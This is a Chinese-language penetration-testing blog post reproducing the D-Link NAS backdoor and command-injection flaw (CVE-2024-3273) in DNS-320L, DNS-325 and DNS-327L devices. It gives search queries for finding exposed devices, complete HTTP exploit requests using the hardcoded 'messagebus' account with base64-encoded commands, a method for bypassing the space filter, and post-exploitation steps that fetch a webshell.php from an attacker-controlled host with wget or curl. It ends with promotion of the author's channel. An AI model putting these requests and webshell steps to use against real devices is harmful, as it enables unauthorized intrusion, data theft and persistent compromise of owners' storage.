一、漏洞简介
D-Link NAS(Network Attached Storage,网络附加存储)是一种连接到计算机网络的存储设备,它允许在网络上的多个设备之间共享和存储数据。D-Link 是一家知名的网络设备制造商,提供各种类型的 NAS 解决方案,适用于家庭和企业用户。该漏洞的关键问题在于设备固件中存在一个硬编码的后门帐户。攻击者可以通过这个后门帐户在没有合法用户授权的情况下访问NAS设备,进而获取存储在设备中的敏感数据,或者在设备上执行任意操作。
二、影响版本
- D-Link DNS-320L
- D-Link DNS-325
- D-Link DNS-327L
三、资产测绘
语法1:"Text:In order to access the ShareCenter, please make sure you are using a recent browser(IE 7+, Firefox 3+, Safari 4+, Chrome 3+, Opera 10+)"
语法2:fid="hWN+yVVhLzKJaLkd/ITHpA=="
四、漏洞复现
GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=aWQ= HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 10.10.10.5
X-Originating-IP: 10.10.10.5
Priority: u=0, i
五、检测规则绕过
当我们使用含有空格的命令,比如uname -a,cat /etc/passwd等时,空格会被过滤,命令无法执行成功。
通过对固件(固件放在文章最后)提取,逆向分析,找到过滤规则代码,如下图:
通过对ls "空格" 进行如下字符替换绕过,再用base64编码即可绕过。(使用Linux命令进行编码,网页base64编码存在转义问题)
GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=bHMJLw== HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 10.10.10.5
X-Originating-IP: 10.10.10.5
Priority: u=0, i
六、后渗透的利用
把执行的 id 命令换成 wget或者curl,加入空格绕过进行base64编码(不是所有版本都能执行成功存在一定的概率)
wget http://IP/webshell.php
curl http://IP/webshell.php
然后再直接访问
http://IP/cgi-bin/webshell.php
固件获取:微信公众号回复“D-LinkNAS固件”
nuclei脚本:微信公众号回复“nuclei-CVE-2024-3273”
记得点赞+关注,关注微信公众号菜鸟学渗透或者www.cnxst.vip,获取最新文章,有任何问题可以后台私信我
有考取NISP一级/二级/三级、CISP-PTE/PTS等证书的可以加我好友私信我(公众号回复“加好友”)。